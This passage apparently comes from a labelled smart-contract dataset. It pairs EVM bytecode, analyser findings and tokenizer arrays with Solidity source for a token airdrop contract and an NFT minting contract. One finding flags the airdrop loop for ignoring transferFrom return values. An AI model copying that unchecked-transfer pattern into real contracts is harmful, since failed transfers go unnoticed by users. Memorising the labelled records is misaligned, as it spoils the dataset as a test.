ba57612bb9613ace565b5b6000612bc8868287016127fa565b9350506020612bd9868287016127fa565b925050604084013567ffffffffffffffff811115612bfa57612bf9613ac9565b5b612c068682870161279e565b9150509250925092565b600080600080600060a08688031215612c2c57612c2b613ace565b5b6000612c3a888289016127fa565b9550506020612c4b888289016127fa565b9450506040612c5c888289016127fa565b9350506060612c6d888289016126ee565b925050608086013567ffffffffffffffff811115612c8e57612c8d613ac9565b5b612c9a888289016127cc565b9150509295509295909350565b6000612cb383836130e3565b60208301905092915050565b612cc88161382a565b82525050565b6000612cd982613703565b612ce38185613731565b9350612cee836136f3565b8060005b83811015612d1f578151612d068882612ca7565b9750612d1183613724565b925050600181019050612cf2565b5085935050505092915050565b612d358161383c565b82525050565b612d4481613848565b82525050565b612d5b612d5682613848565b6139a3565b82525050565b6000612d6c8261370e565b612d768185613742565b9350612d868185602086016138c4565b612d8f81613ad3565b840191505092915050565b6000612da58261370e565b612daf8185613753565b9350612dbf8185602086016138c4565b80840191505092915050565b6000612dd682613719565b612de0818561375e565b9350612df08185602086016138c4565b612df981613ad3565b840191505092915050565b6000612e1160348361375e565b9150612e1c82613af1565b604082019050919050565b6000612e3460288361375e565b9150612e3f82613b40565b604082019050919050565b6000612e5760248361375e565b9150612e6282613b8f565b604082019050919050565b6000612e7a601c8361376f565b9150612e8582613bde565b601c82019050919050565b6000612e9d600f8361375e565b9150612ea882613c07565b602082019050919050565b6000612ec0602b8361375e565b9150612ecb82613c30565b604082019050919050565b6000612ee360268361375e565b9150612eee82613c7f565b604082019050919050565b6000612f0660298361375e565b9150612f1182613cce565b604082019050919050565b6000612f2960188361375e565b9150612f3482613d1d565b602082019050919050565b6000612f4c60098361375e565b9150612f5782613d46565b602082019050919050565b6000612f6f60258361375e565b9150612f7a82613d6f565b604082019050919050565b6000612f9260328361375e565b9150612f9d82613dbe565b604082019050919050565b6000612fb560198361375e565b9150612fc082613e0d565b602082019050919050565b6000612fd8602a8361375e565b9150612fe382613e36565b604082019050919050565b6000612ffb60208361375e565b915061300682613e85565b602082019050919050565b600061301e601b8361375e565b915061302982613eae565b602082019050919050565b6000613041601d8361375e565b915061304c82613ed7565b602082019050919050565b600061306460298361375e565b915061306f82613f00565b604082019050919050565b600061308760298361375e565b915061309282613f4f565b604082019050919050565b60006130aa60288361375e565b91506130b582613f9e565b604082019050919050565b60006130cd60218361375e565b91506130d882613fed565b604082019050919050565b6130ec8161389e565b82525050565b6130fb8161389e565b82525050565b61310a816138a8565b82525050565b600061311c8284612d9a565b915081905092915050565b600061313282612e6d565b915061313e8284612d4a565b60208201915081905092915050565b60006020820190506131626000830184612cbf565b92915050565b600060a08201905061317d6000830188612cbf565b61318a6020830187612cbf565b818103604083015261319c8186612cce565b905081810360608301526131b08185612cce565b905081810360808301526131c48184612d61565b90509695505050505050565b600060a0820190506131e56000830188612cbf565b6131f26020830187612cbf565b6131ff60408301866130f2565b61320c60608301856130f2565b818103608083015261321e8184612d61565b90509695505050505050565b600060208201905081810360008301526132448184612cce565b905092915050565b600060408201905081810360008301526132668185612cce565b9050818103602083015261327a8184612cce565b90509392505050565b60006020820190506132986000830184612d2c565b92915050565b60006020820190506132b36000830184612d3b565b92915050565b60006040820190506132ce6000830185612d3b565b81810360208301526132e08184612d61565b90509392505050565b60006080820190506132fe6000830187612d3b565b61330b6020830186613101565b6133186040830185612d3b565b6133256060830184612d3b565b95945050505050565b600060208201905081810360008301526133488184612dcb565b905092915050565b6000602082019050818103600083015261336981612e04565b9050919050565b6000602082019050818103600083015261338981612e27565b9050919050565b600060208201905081810360008301526133a981612e4a565b9050919050565b600060208201905081810360008301526133c981612e90565b9050919050565b600060208201905081810360008301526133e981612eb3565b9050919050565b6000602082019050818103600083015261340981612ed6565b9050919050565b6000602082019050818103600083015261342981612ef9565b9050919050565b6000602082019050818103600083015261344981612f1c565b9050919050565b6000602082019050818103600083015261346981612f3f565b9050919050565b6000602082019050818103600083015261348981612f62565b9050919050565b600060208201905081810360008301526134a981612f85565b9050919050565b600060208201905081810360008301526134c981612fa8565b9050919050565b600060208201905081810360008301526134e981612fcb565b9050919050565b6000602082019050818103600083015261350981612fee565b9050919050565b6000602082019050818103600083015261352981613011565b9050919050565b6000602082019050818103600083015261354981613034565b9050919050565b6000602082019050818103600083015261356981613057565b9050919050565b600060208201905081810360008301526135898161307a565b9050919050565b600060208201905081810360008301526135a98161309d565b9050919050565b600060208201905081810360008301526135c9816130c0565b9050919050565b60006020820190506135e560008301846130f2565b92915050565b600060408201905061360060008301856130f2565b61360d60208301846130f2565b9392505050565b600061361e61362f565b905061362a8282613929565b919050565b6000604051905090565b600067ffffffffffffffff82111561365457613653613a69565b5b602082029050602081019050919050565b600067ffffffffffffffff8211156136805761367f613a69565b5b602082029050602081019050919050565b600067ffffffffffffffff8211156136ac576136ab613a69565b5b6136b582613ad3565b9050602081019050919050565b600067ffffffffffffffff8211156136dd576136dc613a69565b5b6136e682613ad3565b9050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b60006137858261389e565b91506137908361389e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156137c5576137c46139ad565b5b828201905092915050565b60006137db8261389e565b91506137e68361389e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561381f5761381e6139ad565b5b828202905092915050565b60006138358261387e565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b838110156138e25780820151818401526020810190506138c7565b838111156138f1576000848401525b50505050565b6000600282049050600182168061390f57607f821691505b6020821081141561392357613922613a0b565b5b50919050565b61393282613ad3565b810181811067ffffffffffffffff8211171561395157613950613a69565b5b80604052505050565b60006139658261389e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613998576139976139ad565b5b600182019050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600060033d1115613ab75760046000803e613ab4600051613ae4565b90505b90565b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160e01c9050919050565b7f455243313135353a207472616e7366657220746f206e6f6e204552433131353560008201527f526563656976657220696d706c656d656e746572000000000000000000000000602082015250565b7f455243313135353a204552433131353552656365697665722072656a6563746560008201527f6420746f6b656e73000000000000000000000000000000000000000000000000602082015250565b7f4e6f206d6f7265206672616374696f6e7320617661696c61626c6520746f206360008201527f6c61696d00000000000000000000000000000000000000000000000000000000602082015250565b7f19457468657265756d205369676e6564204d6573736167653a0a333200000000600082015250565b7f57726f6e67207369676e61747572650000000000000000000000000000000000600082015250565b7f455243313135353a2062616c616e636520717565727920666f7220746865207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260008201527f20617070726f7665640000000000000000000000000000000000000000000000602082015250565b7f546f74616c20737570706c79206d757374206265203e20300000000000000000600082015250565b7f496e76616c6964206e0000000000000000000000000000000000000000000000600082015250565b7f455243313135353a207472616e7366657220746f20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f455243313135353a207472616e736665722063616c6c6572206973206e6f742060008201527f6f776e6572206e6f7220617070726f7665640000000000000000000000000000602082015250565b7f546f6b656e2077617320616c7265616479206372656174656400000000000000600082015250565b7f455243313135353a20696e73756666696369656e742062616c616e636520666f60008201527f72207472616e7366657200000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5075626c6963204b6579206d757374206265206e6f6e2d7a65726f0000000000600082015250565b7f496e76616c696420746f6b656e496420286e6f6e6578697374656e7429000000600082015250565b7f455243313135353a2073657474696e6720617070726f76616c2073746174757360008201527f20666f722073656c660000000000000000000000000000000000000000000000602082015250565b7f455243313135353a206163636f756e747320616e6420696473206c656e67746860008201527f206d69736d617463680000000000000000000000000000000000000000000000602082015250565b7f455243313135353a2069647320616e6420616d6f756e7473206c656e6774682060008201527f6d69736d61746368000000000000000000000000000000000000000000000000602082015250565b7f455243313135353a206d696e7420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600060443d101561404c576140cf565b61405461362f565b60043d036004823e80513d602482011167ffffffffffffffff8211171561407c5750506140cf565b808201805167ffffffffffffffff81111561409a57505050506140cf565b80602083010160043d0385018111156140b75750505050506140cf565b6140c682602001850186613929565b82955050505050505b90565b6140db8161382a565b81146140e657600080fd5b50565b6140f28161383c565b81146140fd57600080fd5b50565b61410981613852565b811461411457600080fd5b50565b6141208161389e565b811461412b57600080fd5b5056fea2646970667358221220fb0228f09e3972d8ee9107f52c946b4cb88cac7b0f5e187913fc512feac7ee3f64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 27531, 2581, 2497, 11387, 11387, 16703, 2575, 2050, 2683, 27009, 21456, 23352, 4246, 2629, 2094, 2487, 2063, 2475, 2094, 10790, 19961, 2546, 3207, 2509, 2278, 2549, 1013, 1013, 4216, 16379, 2007, 2524, 12707, 1058, 2475, 1012, 1020, 1012, 1018, 16770, 1024, 1013, 1013, 2524, 12707, 1012, 8917, 1013, 1013, 5371, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 17174, 13102, 18491, 1013, 29464, 11890, 16048, 2629, 1012, 14017, 1030, 1058, 2549, 1012, 1017, 1012, 1015, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 16048, 2629, 3115, 1010, 2004, 4225, 1999, 1996, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,866
0x9785abd9001d572b43992c8fe36c24ead353048b
pragma solidity 0.4.24; /** * @title ERC20Token Interface * @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md */ contract ERC20Token { function name() public view returns (string); function symbol() public view returns (string); function decimals() public view returns (uint); function totalSupply() public view returns (uint); function balanceOf(address account) public view returns (uint); function transfer(address to, uint amount) public returns (bool); function transferFrom(address from, address to, uint amount) public returns (bool); function approve(address spender, uint amount) public returns (bool); function allowance(address owner, address spender) public view returns (uint); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } /** * @title This contract handles the airdrop distribution */ contract INNBCAirdropDistribution is Ownable { address public tokenINNBCAddress; /** * @dev Sets the address of the INNBC token * @param tokenAddress The address of the INNBC token contract */ function setINNBCTokenAddress(address tokenAddress) external onlyOwner() { require(tokenAddress != address(0), "Token address cannot be null"); tokenINNBCAddress = tokenAddress; } /** * @dev Batch transfers tokens from the owner account to the recipients * @param recipients An array of the addresses of the recipients * @param amountPerRecipient An array of amounts of tokens to give to each recipient */ function airdropTokens(address[] recipients, uint[] amountPerRecipient) external onlyOwner() { /* 100 recipients is the limit, otherwise we may reach the gas limit */ require(recipients.length <= 100, "Recipients list is too long"); /* Both arrays need to have the same length */ require(recipients.length == amountPerRecipient.length, "Arrays do not have the same length"); /* We check if the address of the token contract is set */ require(tokenINNBCAddress != address(0), "INNBC token contract address cannot be null"); ERC20Token tokenINNBC = ERC20Token(tokenINNBCAddress); /* We check if the owner has enough tokens for everyone */ require( calculateSum(amountPerRecipient) <= tokenINNBC.balanceOf(msg.sender), "Sender does not have enough tokens" ); /* We check if the contract is allowed to handle this amount */ require( calculateSum(amountPerRecipient) <= tokenINNBC.allowance(msg.sender, address(this)), "This contract is not allowed to handle this amount" ); /* If everything is okay, we can transfer the tokens */ for (uint i = 0; i < recipients.length; i += 1) { tokenINNBC.transferFrom(msg.sender, recipients[i], amountPerRecipient[i]); } } /** * @dev Calculates the sum of an array of uints * @param a An array of uints * @return The sum as an uint */ function calculateSum(uint[] a) private pure returns (uint) { uint sum; for (uint i = 0; i < a.length; i = SafeMath.add(i, 1)) { sum = SafeMath.add(sum, a[i]); } return sum; } }
0x6080604052600436106100775763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663706f6937811461007c578063715018a6146100aa5780638da5cb5b146100bf578063ad3335b5146100f0578063ae6f232914610111578063f2fde38b14610126575b600080fd5b34801561008857600080fd5b506100a86024600480358281019290820135918135918201910135610147565b005b3480156100b657600080fd5b506100a8610652565b3480156100cb57600080fd5b506100d46106be565b60408051600160a060020a039092168252519081900360200190f35b3480156100fc57600080fd5b506100a8600160a060020a03600435166106cd565b34801561011d57600080fd5b506100d4610773565b34801561013257600080fd5b506100a8600160a060020a0360043516610782565b600080548190600160a060020a0316331461016157600080fd5b60648511156101ba576040805160e560020a62461bcd02815260206004820152601b60248201527f526563697069656e7473206c69737420697320746f6f206c6f6e670000000000604482015290519081900360640190fd5b848314610237576040805160e560020a62461bcd02815260206004820152602260248201527f41727261797320646f206e6f742068617665207468652073616d65206c656e6760448201527f7468000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600154600160a060020a031615156102bf576040805160e560020a62461bcd02815260206004820152602b60248201527f494e4e424320746f6b656e20636f6e747261637420616464726573732063616e60448201527f6e6f74206265206e756c6c000000000000000000000000000000000000000000606482015290519081900360840190fd5b600154604080517f70a082310000000000000000000000000000000000000000000000000000000081523360048201529051600160a060020a03909216935083916370a08231916024808201926020929091908290030181600087803b15801561032857600080fd5b505af115801561033c573d6000803e3d6000fd5b505050506040513d602081101561035257600080fd5b5051604080516020868102828101820190935286825261038792889188918291850190849080828437506107a5945050505050565b1115610403576040805160e560020a62461bcd02815260206004820152602260248201527f53656e64657220646f6573206e6f74206861766520656e6f75676820746f6b6560448201527f6e73000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b604080517fdd62ed3e0000000000000000000000000000000000000000000000000000000081523360048201523060248201529051600160a060020a0384169163dd62ed3e9160448083019260209291908290030181600087803b15801561046a57600080fd5b505af115801561047e573d6000803e3d6000fd5b505050506040513d602081101561049457600080fd5b505160408051602086810282810182019093528682526104c992889188918291850190849080828437506107a5945050505050565b1115610545576040805160e560020a62461bcd02815260206004820152603260248201527f5468697320636f6e7472616374206973206e6f7420616c6c6f77656420746f2060448201527f68616e646c65207468697320616d6f756e740000000000000000000000000000606482015290519081900360840190fd5b5060005b8481101561064a57600160a060020a0382166323b872dd3388888581811061056d57fe5b90506020020135600160a060020a0316878786818110151561058b57fe5b905060200201356040518463ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018084600160a060020a0316600160a060020a0316815260200183600160a060020a0316600160a060020a031681526020018281526020019350505050602060405180830381600087803b15801561061657600080fd5b505af115801561062a573d6000803e3d6000fd5b505050506040513d602081101561064057600080fd5b5050600101610549565b505050505050565b600054600160a060020a0316331461066957600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a031681565b600054600160a060020a031633146106e457600080fd5b600160a060020a0381161515610744576040805160e560020a62461bcd02815260206004820152601c60248201527f546f6b656e20616464726573732063616e6e6f74206265206e756c6c00000000604482015290519081900360640190fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600154600160a060020a031681565b600054600160a060020a0316331461079957600080fd5b6107a2816107ef565b50565b600080805b83518110156107e8576107d48285838151811015156107c557fe5b9060200190602002015161086c565b91506107e181600161086c565b90506107aa565b5092915050565b600160a060020a038116151561080457600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b8181018281101561087957fe5b929150505600a165627a7a7230582083a7474be63ab47bb95f0c279d83b543109a215c576c8c57c7381e9e8fe02c160029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 27531, 7875, 2094, 21057, 24096, 2094, 28311, 2475, 2497, 23777, 2683, 2683, 2475, 2278, 2620, 7959, 21619, 2278, 18827, 13775, 19481, 14142, 18139, 2497, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 9413, 2278, 11387, 18715, 2368, 8278, 1008, 1030, 16475, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 1041, 11514, 2015, 1013, 1038, 4135, 2497, 1013, 3040, 1013, 1041, 11514, 2015, 1013, 1041, 11514, 1011, 2322, 1012, 9108, 1008, 1013, 3206, 9413, 2278, 11387, 18715, 2368, 1063, 3853, 2171, 1006, 1007, 2270, 3193, 5651, 1006, 5164, 1007, 1025, 3853, 6454, 1006, 1007, 2270, 3193, 5651, 1006, 5164, 1007, 1025, 3853, 26066, 2015, 1006, 1007, 2270, 3193, 5651, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,867
0x97866c2a3d50560Ba0767760Ce45a2Ad526E697C
// SPDX-License-Identifier: MIT // /** // @title: BILLIONAIRE BURGERS // @desc: Billionaire Burgers is a collection of 10,000 NFT collectibles grilled on the Ethereum blockchain. // @author: https://twitter.com/BillionaireBurg // @author: https://instagram.com/Billionaire_Burgers // @author: https://discord.gg/billionaireburgers // @url: https://www.billionaire-burgers.com ████████████████████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ████████████████████████████████████ ██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██ ████████████████████████████████ ██ ██ ██ ██ ██████ ██ ████ ██████ ████ ████ ████ ██ ██ ██ ████████████████████████████ */ pragma solidity >=0.8.9 <0.9.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract BillionaireBurgers is ERC721, Ownable, ReentrancyGuard { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private supply; bytes32 public merkleRoot; mapping(address => bool) public whitelistClaimed; string public uriPrefix = ""; string public uriSuffix = ".json"; string public hiddenMetadataUri; uint256 public cost; uint256 public maxSupply; uint256 public maxMintAmountPerTx; bool public paused = true; bool public whitelistMintEnabled = false; bool public revealed = false; constructor( string memory _tokenName, string memory _tokenSymbol, uint256 _cost, uint256 _maxSupply, uint256 _maxMintAmountPerTx, string memory _hiddenMetadataUri ) ERC721(_tokenName, _tokenSymbol) { cost = _cost; maxSupply = _maxSupply; maxMintAmountPerTx = _maxMintAmountPerTx; setHiddenMetadataUri(_hiddenMetadataUri); } modifier mintCompliance(uint256 _mintAmount) { require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!"); require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!"); _; } modifier mintPriceCompliance(uint256 _mintAmount) { require(msg.value >= cost * _mintAmount, "Insufficient funds!"); _; } function totalSupply() public view returns (uint256) { return supply.current(); } function whitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) { // Verify whitelist requirements require(whitelistMintEnabled, "The whitelist sale is not enabled!"); require(!whitelistClaimed[msg.sender], "Address already claimed!"); bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), "Invalid proof!"); whitelistClaimed[msg.sender] = true; _mintLoop(msg.sender, _mintAmount); } function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) { require(!paused, "The contract is paused!"); _mintLoop(msg.sender, _mintAmount); } function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner { _mintLoop(_receiver, _mintAmount); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return hiddenMetadataUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix)) : ""; } function setRevealed(bool _state) public onlyOwner { revealed = _state; } function setCost(uint256 _cost) public onlyOwner { cost = _cost; } function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner { maxMintAmountPerTx = _maxMintAmountPerTx; } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { hiddenMetadataUri = _hiddenMetadataUri; } function setUriPrefix(string memory _uriPrefix) public onlyOwner { uriPrefix = _uriPrefix; } function setUriSuffix(string memory _uriSuffix) public onlyOwner { uriSuffix = _uriSuffix; } function setPaused(bool _state) public onlyOwner { paused = _state; } function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner { merkleRoot = _merkleRoot; } function setWhitelistMintEnabled(bool _state) public onlyOwner { whitelistMintEnabled = _state; } function withdraw() public onlyOwner nonReentrant { (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); } function _mintLoop(address _receiver, uint256 _mintAmount) internal { for (uint256 i = 0; i < _mintAmount; i++) { supply.increment(); _safeMint(_receiver, supply.current()); } } function _baseURI() internal view virtual override returns (string memory) { return uriPrefix; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function 